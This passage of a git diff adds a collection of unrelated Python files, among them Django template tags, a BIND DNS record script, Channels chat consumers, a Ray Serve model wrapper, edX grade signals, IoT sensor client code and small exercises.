self.finish('File path must be under the responses directory') + + try: + f = open(file_path, 'r') + file_contents = f.read() + + if hasattr(self.request, "connection"): + self.request.connection.stream.set_close_callback(None) + if len(file_contents) > 0: + self.request.write(file_contents) + self.request.finish() + + f.close() + return + + except IOError: + self.set_status(404) + self.finish('File Not Found: %s' % file_path) + + +# pylint: enable=R0904,W0221,E1101 diff --git a/pool/shard008/Python/0077074_static.py b/pool/shard008/Python/0077074_static.py new file mode 100644 index 0000000000000000000000000000000000000000..39712aaba0894ae024cdaa110fb19c8d0161564d --- /dev/null +++ b/pool/shard008/Python/0077074_static.py @@ -0,0 +1,167 @@ +from urllib.parse import quote, urljoin + +from django import template +from django.apps import apps +from django.utils.encoding import iri_to_uri +from django.utils.html import conditional_escape + +register = template.Library() + + +class PrefixNode(template.Node): + + def __repr__(self): + return "" % self.name + + def __init__(self, varname=None, name=None): + if name is None: + raise template.TemplateSyntaxError( + "Prefix nodes must be given a name to return.") + self.varname = varname + self.name = name + + @classmethod + def handle_token(cls, parser, token, name): + """ + Class method to parse prefix node and return a Node. + """ + # token.split_contents() isn't useful here because tags using this method don't accept variable as arguments + tokens = token.contents.split() + if len(tokens) > 1 and tokens[1] != 'as': + raise template.TemplateSyntaxError( + "First argument in '%s' must be 'as'" % tokens[0]) + if len(tokens) > 1: + varname = tokens[2] + else: + varname = None + return cls(varname, name) + + @classmethod + def handle_simple(cls, name): + try: + from django.conf import settings + except ImportError: + prefix = '' + else: + prefix = iri_to_uri(getattr(settings, name, '')) + return prefix + + def render(self, context): + prefix = self.handle_simple(self.name) + if self.varname is None: + return prefix + context[self.varname] = prefix + return '' + + +@register.tag +def get_static_prefix(parser, token): + """ + Populate a template variable with the static prefix, + ``settings.STATIC_URL``. + + Usage:: + + {% get_static_prefix [as varname] %} + + Examples:: + + {% get_static_prefix %} + {% get_static_prefix as static_prefix %} + """ + return PrefixNode.handle_token(parser, token, "STATIC_URL") + + +@register.tag +def get_media_prefix(parser, token): + """ + Populate a template variable with the media prefix, + ``settings.MEDIA_URL``. + + Usage:: + + {% get_media_prefix [as varname] %} + + Examples:: + + {% get_media_prefix %} + {% get_media_prefix as media_prefix %} + """ + return PrefixNode.handle_token(parser, token, "MEDIA_URL") + + +class StaticNode(template.Node): + def __init__(self, varname=None, path=None): + if path is None: + raise template.TemplateSyntaxError( + "Static template nodes must be given a path to return.") + self.path = path + self.varname = varname + + def url(self, context): + path = self.path.resolve(context) + return self.handle_simple(path) + + def render(self, context): + url = self.url(context) + if context.autoescape: + url = conditional_escape(url) + if self.varname is None: + return url + context[self.varname] = url + return '' + + @classmethod + def handle_simple(cls, path): + if apps.is_installed('django.contrib.staticfiles'): + from django.contrib.staticfiles.storage import staticfiles_storage + return staticfiles_storage.url(path) + else: + return urljoin(PrefixNode.handle_simple("STATIC_URL"), quote(path)) + + @classmethod + def handle_token(cls, parser, token): + """ + Class method to parse prefix node and return a Node. + """ + bits = token.split_contents() + + if len(bits) < 2: + raise template.TemplateSyntaxError( + "'%s' takes at least one argument (path to file)" % bits[0]) + + path = parser.compile_filter(bits[1]) + + if len(bits) >= 2 and bits[-2] == 'as': + varname = bits[3] + else: + varname = None + + return cls(varname, path) + + +@register.tag('static') +def do_static(parser, token): + """ + Join the given path with the STATIC_URL setting. + + Usage:: + + {% static path [as varname] %} + + Examples:: + + {% static "myapp/css/base.css" %} + {% static variable_with_path %} + {% static "myapp/css/base.css" as admin_base_css %} + {% static variable_with_path as varname %} + """ + return StaticNode.handle_token(parser, token) + + +def static(path): + """ + Given a relative path to a static asset, return the absolute path to the + asset. + """ + return StaticNode.handle_simple(path) diff --git a/pool/shard008/Python/0077077_dns_add_forward_record.py b/pool/shard008/Python/0077077_dns_add_forward_record.py new file mode 100644 index 0000000000000000000000000000000000000000..d389034184c8f6732b3328b45010cb7eb336fa65 --- /dev/null +++ b/pool/shard008/Python/0077077_dns_add_forward_record.py @@ -0,0 +1,55 @@ +import subprocess, os, sys +from reverseZone_naming import reverseZone_name +from netaddr import * + +curlybrace1="{" +curlybrace2="}" + +def add_forward_record(): + host_name_to_be_added= sys.argv[1] + ip_address_to_be_added= sys.argv[2] + domain_name= sys.argv[3] + record_valid=1 + + os.chdir("/root") + network_address_file= open("user_network_address", 'r') + network_address=network_address_file.read() + network_address_file.close() + ip = IPNetwork(network_address) + ip_address=IPAddress(ip_address_to_be_added) + if ip_address_to_be_added in IPNetwork(network_address): + zoneFile_name="db."+domain_name + os.chdir("/etc/bind/zones") + + readFiles = open(zoneFile_name, 'r') + forward_zone_file_content = readFiles.read() + readFiles.close() + + if host_name_to_be_added in forward_zone_file_content: + record_valid=0 + print "\nHostname is already entered in the database.\nSorry! Cannot enter duplicate records.\nPlease enter a different record\n" + + if ip_address_to_be_added in forward_zone_file_content: + record_valid=0 + print "\nIP address is already entered in the database.\nSorry! Cannot enter duplicate records.\nPlease enter a different record\n" + + if record_valid==1: + forward_zone_content = open(zoneFile_name, 'a') + forward_zone_content.write("\n%s. \tIN \t A \t %s" % (host_name_to_be_added,ip_address_to_be_added)) + forward_zone_content.close() + print "\nThe forward record that you entered has been added!\n" + subprocess.call("service bind9 reload",shell=True) + else: + print ("\nSorry, cannot accept this record! \nPlease enter an IP address within your entered zone! \nYour entered zone is: %s\n" % (IPNetwork(network_address))) + + + + + + + + +add_forward_record() + + + diff --git a/pool/shard008/Python/0077083_S05Q02.py b/pool/shard008/Python/0077083_S05Q02.py new file mode 100644 index 0000000000000000000000000000000000000000..f7a4044a7ad7cf8f9f85970102be9d8b32a2b97e --- /dev/null +++ b/pool/shard008/Python/0077083_S05Q02.py @@ -0,0 +1,19 @@ +#!/usr/bin/python + +i=-1 +y=1 +numbers = [1,y] +while True: + i=i+1 + numbers[i]=input("Enter a number:") + y=y+1 + if numbers[i]==0: + break + else : + print"Again, Please!" +max=max(numbers) +min=min(numbers) +str(max) +str(min) +print "The maximum number entered is %s." % max +print "The minimum number entered is %s." % min \ No newline at end of file diff --git a/pool/shard008/Python/0077087_client.py b/pool/shard008/Python/0077087_client.py new file mode 100644 index 0000000000000000000000000000000000000000..ebe3d16bb832831eef8bc6fe0867ee36461bbce0 --- /dev/null +++ b/pool/shard008/Python/0077087_client.py @@ -0,0 +1,103 @@ +from __future__ import print_function +import sys +import time +import Pyro4 +import Pyro4.util +from random import randint + + +sys.excepthook = Pyro4.util.excepthook + + +def test_servo(servo): + for i in range(10): + # Set the servo arm to 0 degrees + servo.setAngle(0) + print('Set angle to 0') + time.sleep(1) + + # Set the servo arm to 90 degrees + servo.setAngle(90) + print('Set angle to 90') + time.sleep(1) + + # Set the servo arm to 180 degrees + servo.setAngle(180) + print('Set angle to 180') + time.sleep(1) + + +def test_relay(relay): + for i in range(3): + relay.on() + if relay.isOn(): + print(relay.name() + ' is on') + time.sleep(1) + relay.off() + if relay.isOff(): + print(relay.name() + ' is off') + time.sleep(1) + + +def main(): + Pyro4.config.HOST = '0.0.0.0' + iot = Pyro4.Proxy("PYRONAME:edison.iot.server") + #print(iot.info()) + iot.blink(10) + + lcd = iot.getLCD() + speaker = iot.getSpeaker() + # Play all 7 of the lowest notes + speaker.playAll() + + light = iot.getLightSensor() + button = iot.getButton() + motion = iot.getMotion() + encoder = iot.getEncoder() + + uv_sensor = iot.getUV() + # analog voltage, usually 3.3 or 5.0 for UV sensor + GUVAS12D_AREF = 5.0 + SAMPLES_PER_QUERY = 1024 + + # The temperature sensor using I2C + fahrenheit = iot.getTemperature('F') + celsius = iot.getTemperature('C') + humid = iot.getHumidity() + print("{} degrees Celsius, or {} degrees Fahrenheit".format(celsius, fahrenheit)) + print("Humidity is {}%".format(humid)) + + # Read the input and print, waiting one second between readings + for i in range(20): + r, g, b = randint(0, 255), randint(0, 255), randint(0, 255) + lcd.setColor(r, g, b) + lcd.setCursor(0, 0) + #lcd.write('Hello World'.encode('latin_1')) + iot.writeLCD('Hello World') + lcd.setCursor(1, 0) + #lcd.write("R:{} G:{} B:{}".format(r, g, b).encode('latin_1')) + iot.writeLCD("R:{} G:{} B:{}".format(r, g, b)) + + print("{} raw value is {}".format(light.name(), light.raw_value()), end='') + print(", which is roughly {} lux".format(light.value())) + print("AREF: {0}, Voltage value (higher means more UV): {1}".format( + GUVAS12D_AREF, uv_sensor.value(GUVAS12D_AREF, SAMPLES_PER_QUERY))) + print("Position: {0}".format(encoder.position())) + + print("{} value is {}".format(button.name(), button.value())) + if button.value(): + # Play a medium C-sharp + speaker.playSound('c', True, "med") + + if motion.value(): + print("Detecting moving object") + else: + print("No moving objects detected") + + time.sleep(0.5) + + #test_relay(iot.getRelay()) + #test_servo(iot.getServo) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/pool/shard008/Python/0077088_shrtn.py b/pool/shard008/Python/0077088_shrtn.py new file mode 100644 index 0000000000000000000000000000000000000000..1dd64fc05718817da03d27f75843a8c192ad3628 --- /dev/null +++ b/pool/shard008/Python/0077088_shrtn.py @@ -0,0 +1,103 @@ +''' +Short URL Generator +=================== + +Python implementation for generating Tiny URL- and bit.ly-like URLs. + +A bit-shuffling approach is used to avoid generating consecutive, predictable +URLs. However, the algorithm is deterministic and will guarantee that no +collisions will occur. + +The URL alphabet is fully customizable and may contain any number of +characters. By default, digits and lower-case letters are used, with +some removed to avoid confusion between characters like o, O and 0. The +default alphabet is shuffled and has a prime number of characters to further +improve the results of the algorithm. + +The block size specifies how many bits will be shuffled. The lower BLOCK_SIZE +bits are reversed. Any bits higher than BLOCK_SIZE will remain as is. +BLOCK_SIZE of 0 will leave all bits unaffected and the algorithm will simply +be converting your integer to a different base. + +The intended use is that incrementing, consecutive integers will be used as +keys to generate the short URLs. For example, when creating a new URL, the +unique integer ID assigned by a database could be used to generate the URL +by using this module. Or a simple counter may be used. As long as the same +integer is not used twice, the same short URL will not be generated twice. + +The module supports both encoding and decoding of URLs. The min_length +parameter allows you to pad the URL if you want it to be a specific length. + +Sample Usage: + +>>> import short_url +>>> url = short_url.encode_url(12) +>>> print url +LhKA +>>> key = short_url.decode_url(url) +>>> print key +12 + +Use the functions in the top-level of the module to use the default encoder. +Otherwise, you may create your own UrlEncoder object and use its encode_url +and decode_url methods. + +Author: Michael Fogleman +License: MIT +Link: http://code.activestate.com/recipes/576918/ +''' + +DEFAULT_ALPHABET = 'bjGR5HkdStrQVJK1g3sDNCzThZFm2LvpPcIx7fXnMqB' +DEFAULT_BLOCK_SIZE = 24 +MIN_LENGTH = 12 + +class UrlEncoder(object): + def __init__(self, alphabet=DEFAULT_ALPHABET, block_size=DEFAULT_BLOCK_SIZE): + self.alphabet = alphabet + self.block_size = block_size + self.mask = (1 << block_size) - 1 + self.mapping = range(block_size) + self.mapping.reverse() + def encode_url(self, n, min_length=MIN_LENGTH): + return self.enbase(self.encode(n), min_length) + def decode_url(self, n): + return self.decode(self.debase(n)) + def encode(self, n): + return (n & ~self.mask) | self._encode(n & self.mask) + def _encode(self, n): + result = 0 + for i, b in enumerate(self.mapping): + if n & (1 << i): + result |= (1 << b) + return result + def decode(self, n): + return (n & ~self.mask) | self._decode(n & self.mask) + def _decode(self, n): + result = 0 + for i, b in enumerate(self.mapping): + if n & (1 << b): + result |= (1 << i) + return result + def enbase(self, x, min_length=MIN_LENGTH): + result = self._enbase(x) + padding = self.alphabet[0] * (min_length - len(result)) + return '%s%s' % (padding, result) + def _enbase(self, x): + n = len(self.alphabet) + if x < n: + return self.alphabet[x] + return self._enbase(x / n) + self.alphabet[x % n] + def debase(self, x): + n = len(self.alphabet) + result = 0 + for i, c in enumerate(reversed(x)): + result += self.alphabet.index(c) * (n ** i) + return result + +DEFAULT_ENCODER = UrlEncoder() + +def surl(n, min_length=MIN_LENGTH): + return DEFAULT_ENCODER.encode_url(n, min_length) + +def lurs(n, min_length=MIN_LENGTH): + return DEFAULT_ENCODER.decode_url(n) \ No newline at end of file diff --git a/pool/shard008/Python/0077095_consumers.py b/pool/shard008/Python/0077095_consumers.py new file mode 100644 index 0000000000000000000000000000000000000000..e7c12a9f910d799dc03f9fc14a6810932ac0e405 --- /dev/null +++ b/pool/shard008/Python/0077095_consumers.py @@ -0,0 +1,148 @@ +from channels.auth import channel_session_user_from_http, channel_session_user +from .models import Room +import json +from channels import Channel +from channels import Group +from basesite.settings import MSG_TYPE_LEAVE, MSG_TYPE_ENTER, NOTIFY_USERS_ON_ENTER_OR_LEAVE_ROOMS +from .utils import get_room_or_error, catch_client_error +from .exceptions import ClientError + + +def ws_echo(message): + Group("chat").send({ + "text": "[user] %s" % message.content['text'], + }) + +# This decorator copies the user from the HTTP session (only available in +# websocket.connect or http.request messages) to the channel session (available +# in all consumers with the same reply_channel, so all three here) +@channel_session_user_from_http +def ws_connect(message): + message.reply_channel.send({"accept": True}) + message.channel_session['rooms'] = [] + + +@channel_session_user_from_http +def ws_connect2(message): + message.reply_channel.send({"accept": True}) + message.channel_session['rooms'] = [] + Group("chat").add(message.reply_channel) + + +@channel_session_user +def ws_disconnect(message): + # Unsubscribe from any connected rooms + for room_id in message.channel_session.get("rooms", set()): + try: + room = Room.objects.get(pk=room_id) + # Removes us from the room's send group. If this doesn't get run, + # we'll get removed once our first reply message expires. + room.websocket_group.discard(message.reply_channel) + except Room.DoesNotExist: + pass + +@channel_session_user +def ws_disconnect2(message): + # Unsubscribe from any connected rooms + Group("chat").discard(message.reply_channel) + + +# Unpacks the JSON in the received WebSocket frame and puts it onto a channel +# of its own with a few attributes extra so we can route it +# This doesn't need @channel_session_user as the next consumer will have that, +# and we preserve message.reply_channel (which that's based on) +def ws_receive(message): + # All WebSocket frames have either a text or binary payload; we decode the + # text part here assuming it's JSON. + # You could easily build up a basic framework that did this encoding/decoding + # for you as well as handling common errors. + payload = json.loads(message['text']) + payload['reply_channel'] = message.content['reply_channel'] + Channel("jcvrbaseapp.receive").send(payload) + + +# Channel_session_user loads the user out from the channel session and presents +# it as message.user. There's also a http_session_user if you want to do this on +# a low-level HTTP handler, or just channel_session if all you want is the +# message.channel_session object without the auth fetching overhead. +@channel_session_user +@catch_client_error +def chat_join(message): + # Find the room they requested (by ID) and add ourselves to the send group + # Note that, because of channel_session_user, we have a message.user + # object that works just like request.user would. Security! + room = get_room_or_error(message["room"], message.user) + + # Send a "enter message" to the room if available + if NOTIFY_USERS_ON_ENTER_OR_LEAVE_ROOMS: + room.send_message(None, message.user, MSG_TYPE_ENTER) + + # OK, add them in. The websocket_group is what we'll send messages + # to so that everyone in the chat room gets them. + room.websocket_group.add(message.reply_channel) + message.channel_session['rooms'] = list(set(message.channel_session['rooms']).union([room.id])) + # Send a message back that will prompt them to open the room + # Done server-side so that we could, for example, make people + # join rooms automatically. + message.reply_channel.send({ + "text": json.dumps({ + "join": str(room.id), + "title": room.title, + }), + }) + + +@channel_session_user +@catch_client_error +def chat_join2(message): + message.reply_channel.send({"accept": True}) + # Add to the chat group + Group("chat").add(message.reply_channel) + # Send a message back that will prompt them to open the room + # Done server-side so that we could, for example, make people + # join rooms automatically. + message.reply_channel.send({ + "text": json.dumps({ + "join": str(room.id), + "title": room.title, + }), + }) + + +@channel_session_user +@catch_client_error +def chat_leave(message): + # Reverse of join - remove them from everything. + room = get_room_or_error(message["room"], message.user) + + # Send a "leave message" to the room if available + if NOTIFY_USERS_ON_ENTER_OR_LEAVE_ROOMS: + room.send_message(None, message.user, MSG_TYPE_LEAVE) + + room.websocket_group.discard(message.reply_channel) + message.channel_session['rooms'] = list(set(message.channel_session['rooms']).difference([room.id])) + # Send a message back that will prompt them to close the room + message.reply_channel.send({ + "text": json.dumps({ + "leave": str(room.id), + }), + }) + + +@channel_session_user +@catch_client_error +def chat_leave2(message): + # Reverse of join - remove them from everything. + Group("chat").discard(message.reply_channel) + + +@channel_session_user +@catch_client_error +def chat_send(message): + # if int(message['room']) not in message.channel_session['rooms']: + # raise ClientError("ROOM_ACCESS_DENIED") + #room = get_room_or_error(message["room"], message.user) + #room.send_message(message["message"], message.user) + message.reply_channel.send({ + 'text': message.content['text'], + }) diff --git a/pool/shard008/Python/0077098_model_wrappers.py b/pool/shard008/Python/0077098_model_wrappers.py new file mode 100644 index 0000000000000000000000000000000000000000..aa38e2826eee9f8731bb242764093fa9145a07e5 --- /dev/null +++ b/pool/shard008/Python/0077098_model_wrappers.py @@ -0,0 +1,107 @@ +import inspect +from typing import Any, Callable, Dict, Optional, Type, Union + +import starlette.requests +from fastapi import Depends, FastAPI + +from ray._private.utils import import_attr +from ray.ml.checkpoint import Checkpoint +from ray.ml.predictor import Predictor, DataBatchType +from ray.serve.http_util import ASGIHTTPSender +from ray import serve + +DEFAULT_INPUT_SCHEMA = "ray.serve.http_adapters.array_to_databatch" +InputSchemaFn = Callable[[Any], DataBatchType] + + +def _load_input_schema( + input_schema: Optional[Union[str, InputSchemaFn]] +) -> InputSchemaFn: + if input_schema is None: + input_schema = DEFAULT_INPUT_SCHEMA + + if isinstance(input_schema, str): + input_schema = import_attr(input_schema) + + assert inspect.isfunction(input_schema), "input schema must be a callable function." + return input_schema + + +def _load_checkpoint( + checkpoint: Union[Checkpoint, Dict], +) -> Checkpoint: + if isinstance(checkpoint, dict): + user_keys = set(checkpoint.keys()) + expected_keys = {"checkpoint_cls", "uri"} + if user_keys != expected_keys: + raise ValueError( + "The `checkpoint` dictionary is expects keys " + f"{expected_keys} but got {user_keys}" + ) + checkpoint = import_attr(checkpoint["checkpoint_cls"]).from_uri( + checkpoint["uri"] + ) + assert isinstance(checkpoint, Checkpoint) + return checkpoint + + +def _load_predictor_cls( + predictor_cls: Union[str, Type[Predictor]], +) -> Type[Predictor]: + if isinstance(predictor_cls, str): + predictor_cls = import_attr(predictor_cls) + if not issubclass(predictor_cls, Predictor): + raise ValueError( + f"{predictor_cls} class must be a subclass of ray.ml `Predictor`" + ) + return predictor_cls + + +class ModelWrapper: + def __init__( + self, + predictor_cls: Union[str, Type[Predictor]], + checkpoint: Union[Checkpoint, Dict], + input_schema: Optional[Union[str, InputSchemaFn]] = None, + batching_params: Optional[Dict[str, int]] = None, + ): + """Serve any Ray ML predictor from checkpoint. + + Args: + predictor_cls(str, Type[Predictor]): The class or path for predictor class. + The type must be a subclass of ray.ml `Predictor`. + checkpoint(Checkpoint, dict): The checkpoint object or a dictionary describe + the object. + - The checkpoint object must be a subclass of ray.ml `Checkpoint`. + - The dictionary should be in the form of + {"checkpoint_cls": "import.path.MyCheckpoint", + "uri": "uri_to_load_from"}. + Serve will then call `MyCheckpoint.from_uri("uri_to_load_from")` to + instantiate the object. + input_schema(str, InputSchemaFn, None): The FastAPI input conversion + function. By default, Serve will use the `NdArray` schema and convert to + numpy array. You can pass in any FastAPI dependency resolver that returns + an array. When you pass in a string, Serve will import it. + Please refer to Serve HTTP adatper documentation to learn more. + batching_params(dict, None): override the default parameters to serve.batch. + """ + predictor_cls = _load_predictor_cls(predictor_cls) + checkpoint = _load_checkpoint(checkpoint) + + self.model = predictor_cls.from_checkpoint(checkpoint) + self.app = FastAPI() + + input_schema = _load_input_schema(input_schema) + batching_params = batching_params or dict() + + @self.app.post("/predict") + @serve.batch(**batching_params) + async def handle_request(inp=Depends(input_schema)): + return self.model.predict(inp) + + async def __call__(self, request: starlette.requests.Request): + # NOTE(simon): This is now duplicated from ASGIAppWrapper because we need to + # generate FastAPI on the fly, we should find a way to unify the two. + sender = ASGIHTTPSender() + await self.app(request.scope, receive=request.receive, send=sender) + return sender.build_asgi_response() diff --git a/pool/shard008/Python/0077099_host.py b/pool/shard008/Python/0077099_host.py new file mode 100644 index 0000000000000000000000000000000000000000..0cef362419ccfd4f4e6124654016ff4c665572ed --- /dev/null +++ b/pool/shard008/Python/0077099_host.py @@ -0,0 +1,18 @@ +from virtualbox import library +from virtualbox.library_ext.progress import IProgress + + +class IHost(library.IHost): + __doc__ = library.IHost.__doc__ + + # Work around a bug where createHostOnlyNetworkInterface returns + # host_interface and progress in the wrong order + def create_host_only_network_interface(self): + progress, host_interface = self._call("createHostOnlyNetworkInterface") + host_interface = library.IHostNetworkInterface(host_interface) + progress = IProgress(progress) + return host_interface, progress + + create_host_only_network_interface.__doc__ = ( + library.IHost.create_host_only_network_interface.__doc__ + ) diff --git a/pool/shard008/Python/0077105_signals.py b/pool/shard008/Python/0077105_signals.py new file mode 100644 index 0000000000000000000000000000000000000000..ba034a8c52b4ecef40047e70ee002830f5ba4a9a --- /dev/null +++ b/pool/shard008/Python/0077105_signals.py @@ -0,0 +1,142 @@ +""" +Grades related signals. +""" +from django.conf import settings +from django.dispatch import receiver, Signal +from logging import getLogger +from opaque_keys.edx.locator import CourseLocator +from opaque_keys.edx.keys import UsageKey +from student.models import user_by_anonymous_id +from submissions.models import score_set, score_reset + +log = getLogger(__name__) + + +# Signal that indicates that a user's score for a problem has been updated. +# This signal is generated when a scoring event occurs either within the core +# platform or in the Submissions module. Note that this signal will be triggered +# regardless of the new and previous values of the score (i.e. it may be the +# case that this signal is generated when a user re-attempts a problem but +# receives the same score). +SCORE_CHANGED = Signal( + providing_args=[ + 'points_possible', # Maximum score available for the exercise + 'points_earned', # Score obtained by the user + 'user_id', # Integer User ID + 'course_id', # Unicode string representing the course + 'usage_id' # Unicode string indicating the courseware instance + ] +) + + +@receiver(score_set) +def submissions_score_set_handler(sender, **kwargs): # pylint: disable=unused-argument + """ + Consume the score_set signal defined in the Submissions API, and convert it + to a SCORE_CHANGED signal defined in this module. Converts the unicode keys + for user, course and item into the standard representation for the + SCORE_CHANGED signal. + + This method expects that the kwargs dictionary will contain the following + entries (See the definition of score_set): + - 'points_possible': integer, + - 'points_earned': integer, + - 'anonymous_user_id': unicode, + - 'course_id': unicode, + - 'item_id': unicode + """ + points_possible = kwargs.get('points_possible', None) + points_earned = kwargs.get('points_earned', None) + course_id = kwargs.get('course_id', None) + usage_id = kwargs.get('item_id', None) + user = None + if 'anonymous_user_id' in kwargs: + user = user_by_anonymous_id(kwargs.get('anonymous_user_id')) + + # If any of the kwargs were missing, at least one of the following values + # will be None. + if all((user, points_possible, points_earned, course_id, usage_id)): + SCORE_CHANGED.send( + sender=None, + points_possible=points_possible, + points_earned=points_earned, + user=user, + course_id=course_id, + usage_id=usage_id + ) + else: + log.exception( + u"Failed to process score_set signal from Submissions API. " + "points_possible: %s, points_earned: %s, user: %s, course_id: %s, " + "usage_id: %s", points_possible, points_earned, user, course_id, usage_id + ) + + +@receiver(score_reset) +def submissions_score_reset_handler(sender, **kwargs): # pylint: disable=unused-argument + """ + Consume the score_reset signal defined in the Submissions API, and convert + it to a SCORE_CHANGED signal indicating that the score has been set to 0/0. + Converts the unicode keys for user, course and item into the standard + representation for the SCORE_CHANGED signal. + + This method expects that the kwargs dictionary will contain the following + entries (See the definition of score_reset): + - 'anonymous_user_id': unicode, + - 'course_id': unicode, + - 'item_id': unicode + """ + course_id = kwargs.get('course_id', None) + usage_id = kwargs.get('item_id', None) + user = None + if 'anonymous_user_id' in kwargs: + user = user_by_anonymous_id(kwargs.get('anonymous_user_id')) + + # If any of the kwargs were missing, at least one of the following values + # will be None. + if all((user, course_id, usage_id)): + SCORE_CHANGED.send( + sender=None, + points_possible=0, + points_earned=0, + user=user, + course_id=course_id, + usage_id=usage_id + ) + else: + log.exception( + u"Failed to process score_reset signal from Submissions API. " + "user: %s, course_id: %s, usage_id: %s", user, course_id, usage_id + ) + + +@receiver(SCORE_CHANGED) +def recalculate_subsection_grade_handler(sender, **kwargs): # pylint: disable=unused-argument + """ + Consume the SCORE_CHANGED signal and trigger an update. + This method expects that the kwargs dictionary will contain the following + entries (See the definition of SCORE_CHANGED): + - points_possible: Maximum score available for the exercise + - points_earned: Score obtained by the user + - user: User object + - course_id: Unicode string representing the course + - usage_id: Unicode string indicating the courseware instance + """ + if not settings.FEATURES.get('ENABLE_SUBSECTION_GRADES_SAVED', False): + return + try: + course_id = kwargs.get('course_id', None) + usage_id = kwargs.get('usage_id', None) + student = kwargs.get('user', None) + + course_key = CourseLocator.from_string(course_id) + usage_key = UsageKey.from_string(usage_id).replace(course_key=course_key) + + from lms.djangoapps.grades.new.subsection_grade import SubsectionGradeFactory + SubsectionGradeFactory(student).update(usage_key, course_key) + except Exception as ex: # pylint: disable=broad-except + log.exception( + u"Failed to process SCORE_CHANGED signal. " + "user: %s, course_id: %s, " + "usage_id: %s. Exception: %s", unicode(student), course_id, usage_id, ex.message + ) diff --git a/pool/shard008/Python/0077106_0051.py b/pool/shard008/Python/0077106_0051.py new file mode 100644 index 0000000000000000000000000000000000000000..8c2af0fb69fdb06f1d395aa76a928df1638b3ab2 --- /dev/null +++ b/pool/shard008/Python/0077106_0051.py @@ -0,0 +1,18 @@ +""" +Differential II +""" + +import itertools + +if __name__ == '__main__': + for _ in xrange(int(raw_input())): + x = raw_input() + max_ = 0 + min_ = 99999999 + for v in itertools.permutations(x): + n = int("".join(v)) + if n > max_: + max_ = n + if n < min_: + min_ = n + print max_ - min_ diff --git a/pool/shard008/Python/0077107_text.py b/pool/shard008/Python/0077107_text.py new file mode 100644 index 0000000000000000000000000000000000000000..fcee35d389ef1261d599e1666ddb0d64c046e1d2 --- /dev/null +++ b/pool/shard008/Python/0077107_text.py @@ -0,0 +1,48 @@ +import re +from unicodedata import normalize, combining + +from django.utils.html import escape + + +def create_slug(text): + slug = normalize("NFD", text) + slug = "".join([ch for ch in slug if not combining(ch)]).lower() + slug = re.sub("[^a-z0-9]+", "-", slug) + slug = re.sub("^([^a-z0-9])+", "", slug) + slug = re.sub("([^a-z0-9]+)$", "", slug) + return slug + + +def misencode(text): + """Take a properly represented text, encode into win1250 and decode + back into latin2 (iso-8859-2) so it could be encoded back as such over the wire. + + Has to be used when querying database for data stored by original application, + represented by MisencodedChar/TextField. + """ + return text.encode("cp1250").decode("latin2") + + +def escape_user_input(text, newline_to_br=True): + """ + Escape user input from a text form in a way that's compatible with the v1 version + + Original code: + function modifystring($string,$wrap=0) + { + //$retezec=addslashes($retezec); + $string=HTMLSpecialChars($string); + If($zalomit==1): + $string=eregi_replace("\n","
",$string); + EndIf; + + return $retezec; + } + + """ + + text = escape(text) + if newline_to_br: + text = text.replace("\n", "
") + + return text diff --git a/pool/shard008/Python/0077115_generate.py b/pool/shard008/Python/0077115_generate.py new file mode 100644 index 0000000000000000000000000000000000000000..7f9f4799105a225a6ea04adeef35b0b90930536c --- /dev/null +++ b/pool/shard008/Python/0077115_generate.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python +# encoding: utf-8 + +import os +import logging +logger = logging.getLogger(__name__) + +from jinja2 import Environment, FileSystemLoader + + +def get_args(): + from argparse import ArgumentParser + parser = ArgumentParser(description="TODO: description of the utility") + parser.add_argument("-v", "--verbose", action="count", help="the logging verbosity (more gives more detail)") + parser.add_argument("-t", "--template_dir", default="templates", help="Location of the template directory (default: %(default)s)") + parser.add_argument("-o", "--output_dir", default="html", help="Location of the output directory (default: %(default)s)") + args = parser.parse_args() + + if args.verbose == 1: + level = logging.DEBUG + else: + level = logging.INFO + + logging.basicConfig(format="%(levelname)s %(asctime)s: %(message)s") + logger.setLevel(level) + + return args + + +def main(): + args = get_args() + env = Environment(loader=FileSystemLoader(args.template_dir)) + + try: + os.makedirs(args.output_dir) + except FileExistsError: + pass + + for dirpath, dirnames, filenames in os.walk(args.template_dir): + for filename in filenames: + if not filename.endswith(".html"): + continue + input_path = filename + template = env.get_template(input_path) + result = template.render() + path = os.path.join(args.output_dir, input_path) + with open(path, "w") as of: + of.write(result) + break # just want the top level dir + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0077120_Util.py b/pool/shard008/Python/0077120_Util.py new file mode 100644 index 0000000000000000000000000000000000000000..e8327026082eb067475f214afbbe04dd1778d645 --- /dev/null +++ b/pool/shard008/Python/0077120_Util.py @@ -0,0 +1,103 @@ +# -*- coding: utf-8 -*- +""" +Spyder Editor + +This temporary script file is located here: +C:\Users\npk\.spyder2\.temp.py +""" + + +import pyzdde.zdde as pyz + +def create_genf(link, row, samp=1, wave=0, field=1, dist=13.5, + typ=1, refp=1, no_diff_lim=1): + '''Push a GENF onto the merit function at *row* + + Inputs: + link: The PyZDDE object connected to ZEMAX + + row [int]: Row number + + Remaining parameters: see notes from manual + + Returns: + None + + Notes from ZEMAX Manual: + This operand computes the fraction of geometric encircled, ensquared, + x only, or y only (enslitted) energy at a given distance from the + reference point defined by Dist. + For focal mode, the units are + micrometers. For afocal mode, the units are afocal mode units. The other + parameters are: + + Samp: The pupil sampling, where 1 yields 32 x 32, 2 yields 64 x 64 etc. + + Wave: The wavelength number to use (use 0 for polychromatic). + + Field: The field number. + + Type: 1 for encircled, 2 for x only, 3 for y only, and 4 for ensquared. + + Refp: The reference point to use. Use 0 for chief ray, 1 for centroid, 2 for vertex, and 3 for middle of the spot. + + No Diff Lim: If 0, the results are scaled by the diffraction limit, otherwise, no accounting of diffraction is done. + + ''' + + link.zInsertMFO(1) + link.zSetOperand(row, 1, 'GENF') + link.zSetOperand(row, 2, samp) + link.zSetOperand(row, 3, field) + link.zSetOperand(row, 4, dist) + link.zSetOperand(row, 5, typ) + link.zSetOperand(row, 6, refp) + link.zSetOperand(row, 7, no_diff_lim) + +def set_field_angle(link, num, angleX, angleY, weight=1.0): + '''Set the field angle _num_ to _angleX_ and _angleY_ + + Inputs: + link: PyZDDE object connected to zemax + num: Field position number + angleX: Angle in X direction (in angular units) + angleY: Angle in Y direction + weight: Field weight + + Returns: + None''' + + if num == 0: raise Exception("There is no field angle 0") + + link.zSetField( + num, # field number + angleX, angleY, # Angles x/y + weight) # Field weight + +if __name__ == '__main__': + l0 = pyz.PyZDDE() + status = l0.zDDEInit() + print status + + l0.zLoadFile("C:\\Users\\npk\\Dropbox\\zemax_runs\\2014_apr_1_mobie_a") + + import numpy as np + import pylab as pl + 